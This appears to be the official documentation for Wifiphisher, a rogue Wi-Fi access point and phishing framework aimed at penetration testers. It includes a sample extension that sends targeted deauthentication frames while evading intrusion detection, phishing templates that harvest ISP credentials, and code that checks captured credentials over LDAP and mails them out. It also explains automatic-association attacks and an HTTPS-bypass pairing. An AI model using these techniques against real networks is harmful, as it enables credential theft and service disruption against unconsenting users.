Wifiphisher Documentation

Release 1.4

George Chatzisofroniou

Dec 11, 2019

Contents

Wifiphisher is an effective rogue Access Point framework used by hundreds of Wi-Fi hackers and penetration testers everyday. It is free and open source software currently available for Linux.

Wifiphisher source releases are described below. The tool is distributed with source code under the terms of the GNU General Public License.

CHAPTER 1

a. Stable version

Wifiphisher is available for download on Github. Link is provided below.

It is recommended to verify the authenticity of a Wifiphisher release by checking the integrity of the downloaded files. GPG detached signatures and SHA-1 hashes for the releases are available below. You may find my public key on the usual PGP public servers.

Latest stable Wifiphisher release gzip compressed tarball: wifiphisher-1.4.tar.gz (on Github)

SHA256 Checksum: wifiphisher-1.4.tar.gz.sha256

Signature: wifiphisher-1.4.tar.gz.asc

CHAPTER 2

b. Latest development

To clone the latest development revision using git, type the following command.

```
git clone https://github.com/wifiphisher/wifiphisher.git
```

CHAPTER 3

2. Install

3.1 a. Requirements

Following are the requirements for getting the most out of Wifiphisher:

- Kali Linux. Although people have made Wifiphisher work on other distros, Kali Linux is the officially supported distribution, thus all new features are primarily tested on this platform.
- One wireless network adapter that supports AP mode. Drivers should support netlink.

3.2 b. Install from Package Manager

Wifiphisher has been packaged by many Linux security distributions (including Kali Linux and Arch Linux). While these packages are generally quicker and easier to install, they are not always up-to-date. To install Wifiphisher package on Kali Linux you can type:

```
apt-get install wifiphisher
```

3.3 c. Install from Source

Assuming you downloaded and verified a Wifiphisher tar file, you can now install the tool by typing the following commands:

```
tar xvf wifiphisher.tar.gz
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
```

CHAPTER 4

Documentation

This documentation is also available in PDF and Epub formats.

4.1 Extensions

Wifiphisher supports a scripting engine that allows users to write simple or complicated modules in Python that are executed in parallel with efficiency and expand the functionality of the tool. The extensions leverage a virtual wireless interface that may or may not correspond directly to a physical card and operates in Monitor Mode, hence the extensions can read and write raw 802.11 packets.

Normally, the monitor interface is set in the same channel as the rogue Access Point. However, if two physical cards are available on the system, Wifiphisher will perform channel hopping to all the channels that are interesting to the running extensions.

Wifiphisher extensions do not run in a sandbox, hence it is recommended to never run extensions from third parties unless you have carefully audited them yourself.

The extensions typically fit in at least one of the below categories:

- Wi-Fi attacks. This is the most common case of an extension. Both denial-of-service (i.e. victim deauthentication) and automatic association attacks fit in this category.
- Phishing enhancements. In this category fit all the extensions that enhance a phishing scenario with various techniques. For example, we can dynamically adjust the phishing interface with something familiar to the victim user to create a more realistic page. We can also perform various checks on the captured credentials to check their validity and present a relevant error message to the victim user.
- Other. The rest of the extensions fall in this category. The examples here include binding Wifiphisher with another tool upon a specific event, printing custom UI messages or interacting with roguehostapd.

4.1.1 Developing a Wifiphisher Extension

In order to create an extension, the developer needs to create a file under the "wifiphisher/extensions" directory. The first step is to define a class that has the name of the filename in camelcase. For example, deauth.py would have a

Deauth() class. Then the following callback methods are required:

__init__(self, shared_data): Basic initialization method of the extension where The extension manager passes all the data that may be required. The shared_data is actually a dictionary that holds the following information:

```
shared_data = {
                'is_freq_hop_allowed' boolean
                'target_ap_channel': str
                'target_ap_essid': str
                'target_ap_bssid': str
                'target_ap_encryption': str
                'target_ap_logo_path': str
                'rogue_ap_mac': str
                'roguehostapd': Hostapd
                'APs': list
                'args': args
            }
```

'APs' is a list of dictionaries where each dictionary represents an Access Point discovered during the reconnaissance phase.

```
AP = 'channel': str
'essid': str
'bssid': str
'vendor': str
```

'args' is an argparse object containing all the arguments provided by the user.

Note that the above values may be 'None' accordingly. For example, all the target_* values will be None if there user did not target an Access Point (by using –essid option). The 'target_ap_logo_path' will be None if the logo of the specific vendor does not exist in the repository.

send_channels(self): This callback is called once and the extension needs to return a list of integers for all the channels that is interested to listen. The Extension Manager will merge all the received lists to create a final list with the channels that the monitor card needs to hop.

get_packet(self, pkt): Callback to process individually each packet captured from the interface in monitor mode and also send any frames in the air. The pkt is actually a Scapy Dot11 packet. This callback needs to return a dictionary with the channel number as the key and a list with the Dot11 packets as the value.

The asterisk "*" as a key has a special meaning in this dictionary. It basically means "send this packet to whichever channel is available". The reason for this, is that we may want to broadcast frames without caring about the channel number. For example, beacon frames that will always be processed by the stations that perform passive scanning where channel number is not important. Instead of putting a random channel number, we can put the asterisk to make our attack more efficient.

For example,

{"6": Dot11_pkt1, "*": Dot11_pkt2}

The above dictionary will instruct the Extension Manager to route Dot11_pkt1 to channel 6 and Dot11_pkt2 to whatever available channel it can. That means that if another extension is loaded and is sending frames to channel 7, the Dot11_pkt2 will be sent to both channels 6 and 7.

send_output(self): Callback that returns in a list of strings the entry logs that we need to display in the main screen. This callback is called almost continuously.

on_exit(self): Callback that is called once upon the exit of the software to allow to the extensions to free any resources or perform other cleanup operations.

As we mentioned earlier, an extension may perform a server-side processing of the data received by the victim users during a phishing operation. Or an extension may dynamically adjust the phishing page upon render. For these cases, we use two special decorators "@uimethods.uitmethod" and "@extensions.register_backend_funcs". For more information on these, please read the tutorial on how to create a custom phishing scenario.

Now let's consider an example. Let's suppose that during a penetration testing, "we noticed that the target infrastructure is using Internet-of-Things devices from the Octonion S.A. As part of our testing, we want to run Wifiphisher and get man-in-the-middle position in these devices. We also know that the target infrastructure has employed a WIDS to detect intense deauth attacks. For this reason, We want our attack to be limited to the Octonion devices only. We also want to receive a status email now and then.

Since what we want to do is a more complicated case, Wifiphisher options aren't really helpful here. But luckily we can write our own extension to customize our attack.

Here is what our extension will look like:

```
class deauthOctanion(): # Assuming filename is deauthoctanion.py

    def __init__(self, shared_data):
        self.data = shared_data
        self._packets_to_send = defaultdict(list)

    @staticmethod
    def _extract_bssid(packet):
        """
        Return the bssid of access point based on the packet type
        :param packet: A scapy.layers.RadioTap object
        :type packet: scapy.layers.RadioTap
        :return: bssid or None if it is WDS
        :rtype: str or None
        .. note: 0 0 -> IBBS
                 0 1 -> from AP
                 1 0 -> to AP
        """

        ds_value = packet.FCfield & 3
        to_ds = ds_value & 0x1 != 0
        from_ds = ds_value & 0x2 != 0

        # return the correct bssid based on the type
        return ((not to_ds and not from_ds and packet.addr3)
                or (not to_ds and from_ds and packet.addr2)
                or (to_ds and not from_ds and packet.addr1) or None)

    def send_channels(self):
        return [1,2,3,4,5,6,7,8,9,10,11,12]

    def get_packet(self, pkt):

        bssid = self._extract_bssid(pkt)
        # If this is an Octonion SA
        if bssid.startswith("9C:68:5B"):
            # craft Deauthentication packet
            deauth_part = dot11.Dot11(
                type=0, subtype=12, addr1=receiver, addr2=sender, addr3=bssid)
            deauth_packet = (dot11.RadioTap() / deauth_part / dot11.Dot11Deauth())
            if deauth_packet not in self._packets_to_send["*"]:
                self._packets_to_send["*"] += deauth_packet
```

(continues on next page)

(continued from previous page)

```
            # Send Output
            self.send_output = True

        return self._packets_to_send


    def send_mail():
        ...

    def send_output(self, pkt):
        if self.send_output:
            self.send_mail()
            return ["Found an Octonion device!"]

    def on_exit(self):
        pass
```

The above code should be self-explanatory. This is of course the basic skeleton. The full code is left as an exercise for the reader :)

4.2 Creating a custom phishing scenario

For specific target-oriented attacks, creating a custom Wifiphisher phishing scenario may be necessary. For example, during a penetration testing, it may be necessary to capture the domain credentials using a phishing page with a familiar (to the victim users) interface, then verify the captured credentials over a local LDAP server and finally deliver them via SMTP to a mail server that we own.

Creating a phishing scenario is easy and consists of two steps:

4.2.1 1) Creating the config.ini

A config.ini file lies in template's root directory and its contents can be divided into two sections:

- info: This section defines the scenario's characteristics.
- Name (mandatory): The name of the phishing scenario
- Description (mandatory): A quick description (<50 words) of the scenario
- PayloadPath (optional): If the phishing scenario pushes malwares to victims, users can insert the absolute path of the malicious executable here
- context: This section is optional and holds user-defined variables that may be later injected to the template.

Here's an example of a config.ini file:

```
> # This is a comment
> [info]
> Name: ISP warning page
> Description: A warning page from victim's ISP asking for DSL credentials
>
> [context]
> victim_name: John Phisher
> victim_ISP: Interwebz
```

4.2.2 2) Creating the template files

The template files lie under the html directory and contain the static parts of the desired HTML output. They may consist of several static HTML files, images, CSS or Javascript files. Dynamic languages (e.g. PHP) are not supported.

The HTML files may also contain some special syntax (think placeholders) describing how dynamic content will be inserted. The dynamic contect may originate from two sources:

1) Beacon frames.

Beacon frames contain all the information about the target network and can be used for information gathering. The main process gathers all the interesting information and passes them to the chosen template on the runtime.

At the time of writing, the main process passes the following data:

- target_ap_essid <str>: The ESSID of the target Access Point
- target_ap_bssid <str>: The BSSID (MAC) address of the target Access Point
- target_ap_channel <str>: The channel of the target Access Point
- target_ap_vendor <str>: The vendor's name of the target Access Point
- target_ap_logo_path <str>: The relative path of the target Access Point vendor's logo in the filesystem
- APs <list>: A list containing dictionaries of the Access Points captured during the AP selection phase
- **AP <dict>: A dictionary holding the following information regarding an Access Point:**
  - channel <str>: The channel of the Access Point
  - essid <str> The ESSID of the Access Point
  - bssid <str> The BSSID (MAC) address of the Access Point
  - vendor <str> The vendor's name of the Access Point

Note that the above values may be 'None' accordingly. For example, all the target_* values will be None if there user did not target an Access Point (by using –essid option). The 'target_ap_logo_path' will be None if the logo of the specific vendor does not exist in the repository.

2) config.ini file (described above).

All the variables defined in the "Context" section may be used from within the template files. In case of naming conflicts, the variables from the configuration file will override the variables coming from the beacon frames.

Here's a snippet from an example template (index.html):

```
<p> Dear {{ victim_name }}, This is a message from {{ ISP }}.
A problem was detected regarding your {{ target_ap_vendor }} router. </p>
<p> Please write your credentials to re-connect over PPPOE/PPPOA.</p>
<input type="text" name="wphshr-username"></input>
<input type="text" name="wphshr-password"></input>
```

In this example, 'victim_name' and 'ISP' variables come from config.ini, while 'target_ap_vendor' variable comes from the beacon frames. While all POST values are logged by Wifiphisher by default, those that indicate that they include passwords or usernames are marked as "credentials". In this case, both "wphshr-username" and "wphshr-password" are credentials and will be printed after a succesfull attack.

There are cases where dynamic rendering is necessary for the phishing page. For example, in order to make the above ISP scenario more realistic we can have the number of connected stations printed somewhere. In order to dynamically adjust the page upon render with the number of connected devices, a special Wifiphisher extension needs to be created. There, we will declare a uimethod as following.

```
@uimethods.uimethod
def get_connected_devices(self, data):
    return len(data.connected_devices)
```

Now, we can call this method through our phishing page as following:

```
<p>Number of connected devices: <b>{{ get_connected_devices() }}</b></p>
```

These are also cases where we need to process input from the victim user, for example, to verify that the supplied credentials are valid or to send an email with the captured data. In these cases a Wifiphisher extension with a special backend function is required.

Let's say that we want to verify that the supplied domain credentials are correct over an LDAP server. Our Wifiphisher extension should contain the following method.

```
@extensions.register_backend_funcs
    def ldap_verify(self, *list_data):
        if self.check_creds_over_ldap(list_data):
            self.send_mail_with_creds(list_data)
            return 'success'
        return 'fail'
```

Now we can verify that the captured credentials are valid with the use of AJAX.

```
var data =
{
    "ldap_verify": input.value // captured creds
};
var dataToSend = JSON.stringify(data);
// post the data
$.ajax(
    {
        url: '/backend/',
        type: 'POST',
        data: dataToSend,

        success: function (jsonResponse) {
            var objresponse = JSON.parse(jsonResponse);
            var verify_status = objresponse['ldap_verify']
            if (verify_status == 'success') {
               // Print Success Message
            } else if (verify_status == 'fail') {
               // Credentials are invalid. Ask the victim user again.
            }
        }
    }
 );
```

Any request to the /backend/ handler will be processed by all extensions that have registered a backend method. It's the extension's responsibility to figure out if the submitted data was intended for itself and not for another extension.

That's it! For a full example, it is recommended to go through the code of Wifiphisher extension "pskverify" that verifies the validity of a captured Pre-Shared Key over a network dump that contains the four-way handshake. This extension is leveraged by scenarios that aim to capture the PSK of a WPA/WPA2 WLAN, such as the "wifi_connect" and "firmware-upgrade" scenarios.

4.3 Modes of operation

Wifiphisher comes with an algorithm for allocating and utilizing the running system's physical cards in an optimal way. This algorithm is executed in an early stage, during the initialization of the Wifiphisher engine. As a result, Wifiphisher main engine will operate in a mode (OPMODE) with a specific set of features.

There are different processes spawned from within Wifiphisher main procedure that take advantage of a wireless interface in a different Wi-Fi mode.

- Roguehostapd needs a wireless interface operating in AP-mode to spawn the rogue Access Point.
- Extension Manager (EM) needs a wireless interface operating in Monitor mode to read and write raw 802.11 frames. Channel hopping or Station Operations may or may not be enabled.
- Wireless Station needs a wireless interface operating in Managed mode to connect (or attempt to connect) to Wi-Fi networks in order to provide Internet connectivity.

Not all of the above processess run on every Wifiphisher instance. For example, using the default options, a wireless station is never utilized or by using the *–noextensions* option, EM is never spawned.

The wireless interfaces may or may not correspond directly to a physical card. If there are not enough wireless interfaces, Wifiphisher will spawn a virtual interface (vif) out of a physical card if that card allows it. The main challenge here is that two virtual interfaces spawned from the same wireless card may not operate in different channels. This may complicate things, e.g. if there is only one physical card on the system, EM will not perform any channel hopping.

Following are all the opmodes along with their conditions.

4.3.1 OPMODE 0x01

Features:

- [x] Evil Twin
- [x] Extensions
- [ ] Extensions w/ channel hopping
- [ ] Extensions w/ STA capabilities
- [ ] Internet

Conditions

If there is one available physical card, that supports AP-mode and Monitor mode or if the user requests it via arguments (e.g. using –interface).

OR

There are two available physical cards:

- one card supports Monitor Mode
- another card supports AP mode

4.3.2 OPMODE 0x02

Features:

- [x] Evil Twin
- [x] Extensions

- [x] Extensions w/ channel hopping
- [ ] Extensions w/ STA capabilities
- [ ] Internet

Conditions:

There are two available physical cards:

- one card supports Monitor Mode
- another card supports AP mode

4.3.3 OPMODE 0x03

Features:

- [x] Evil Twin
- [x] Extensions
- [ ] Extensions w/ channel hopping
- [ ] Extensions w/ STA capabilities
- [x] Internet

Conditions:

- Conditions for OPMODE 0x01 are satisfied
- There is a second card that supports STA

4.3.4 OPMODE 0x04

Features:

- [x] Evil Twin
- [x] Extensions
- [x] Extensions w/ channel hopping
- [ ] Extensions w/ STA capabilities
- [x] Internet

Conditions:

- Conditions for OPMODE 0x02 are satisfied
- There is a third card that supports STA

4.3.5 OPMODE 0x05

- [x] Evil Twin
- [ ] Extensions
- [ ] Extensions w/ channel hopping
- [ ] Extensions w/ STA capabilities

- [ ] Internet

Conditions:

If there is one available physical card: - that supports Access Point mode and it is not possible to spawn a second vif or if the user requests it via arguments (e.g. using –noextensions)

4.3.6 OPMODE 0x06

- [x] Evil Twin
- [ ] Extensions
- [ ] Extensions w/ channel hopping
- [ ] Extensions w/ STA capabilities
- [x] Internet

Conditions:

- Conditions for OPMODE 0x05 are satisfied
- There is a second card that supports STA

4.3.7 OPMODE 0x07

- [x] Evil Twin
- [x] Extensions
- [x] Extensions w/ channel hopping
- [x] Extensions w/ STA capabilities
- [x] Internet

Conditions:

- Conditions for OPMODE 0x04 are satisfied
- There are two additional cards that support STA

4.3.8 OPMODE 0x08

- [x] Evil Twin
- [x] Extensions
- [ ] Extensions w/ channel hopping
- [x] Extensions w/ STA capabilities
- [ ] Internet

Conditions:

- Conditions for OPMODE 0x04 are satisfied
- There is an additional card that supports STA

4.3.9 OPMODE 0x09

- [x] Evil Twin
- [x] Extensions
- [x] Extensions w/ channel hopping
- [ ] Extensions w/ STA capabilities
- [x] Internet

Conditions:

- Conditions for OPMODE 0x02 are satisfied
- There is an additional card that supports STA

4.3.10 OPMODE 0x10

- [x] Evil Twin
- [x] Extensions
- [ ] Extensions w/ channel hopping
- [x] Extensions w/ STA capabilities
- [x] Internet

Conditions:

- Conditions for OPMODE 0x01 are satisfied
- There are two additional cards that support STA

4.4 Frequently Asked Questions

4.4.1 Can we somehow bypass the SSL warning displayed by the browsers?

By default, Wifiphisher will try to imitate the behavior of a public hotspot. Redirection to a captive portal served over HTTPS with a self-signed certificate is what a user will typically experience when connecting to a captive portal.

If, however, one wants to use Wifiphisher to obtain a man-in-the-middle position and effectively bypass HSTS / HTTPS, it is recommended to use Wifiphisher in conjuction with other security tools. For example, a user can run Wifiphisher and provide the victims with Internet (using the -iI option) and at the same time leverage the Evilginx project using a valid domain and a valid SSL certificate.

4.4.2 Can we grab the Pre-Shared Key (PSK) of the target network during the association process of a victim station with the rogue Access Point?

No, it is not possible. In WPA/WPA2 protocols the password is never transmitted in the air. The data is encrypted with the password and only the password on the other side (AP) can be used to decrypt it.

4.4.3 Why some victim users do not automatically connect to the rogue Access Point?

A successful automatic association attack relies on many different factors including:

- Victim's Network Manager. Different Operating Systems support different wireless features. For example, an Android device will, by default, connect automatically to previously connected open networks making it susceptible to the Known Beacons Wi-Fi automatic association attack. At the same time iOS devices are configured to arbitrarily trasmit probe request frames for previously connected networks making them vulnerable to the KARMA attack.
- Victim's Preferred Network List. KARMA and Known Beacons attacks heavily rely on the victim's Preferred Network List. The number of open "trusted" networks in the victim's PNL will significantly raise the chances for a succesfull attack. On the other hand, if the Preferred Network List is empty, these attacks are doomed to fail.

4.4.4 Why does deauthentication is not always working?

The two most common reasons are:

- You are physically too far away from the victim clients. You need enough transmit power for the packets to be heard by the clients.
- The wireless card used for the deauthentication attack operates in a different mode than the victim's card, hence the client is not able to receive the frames.
- genindex
- modindex
- search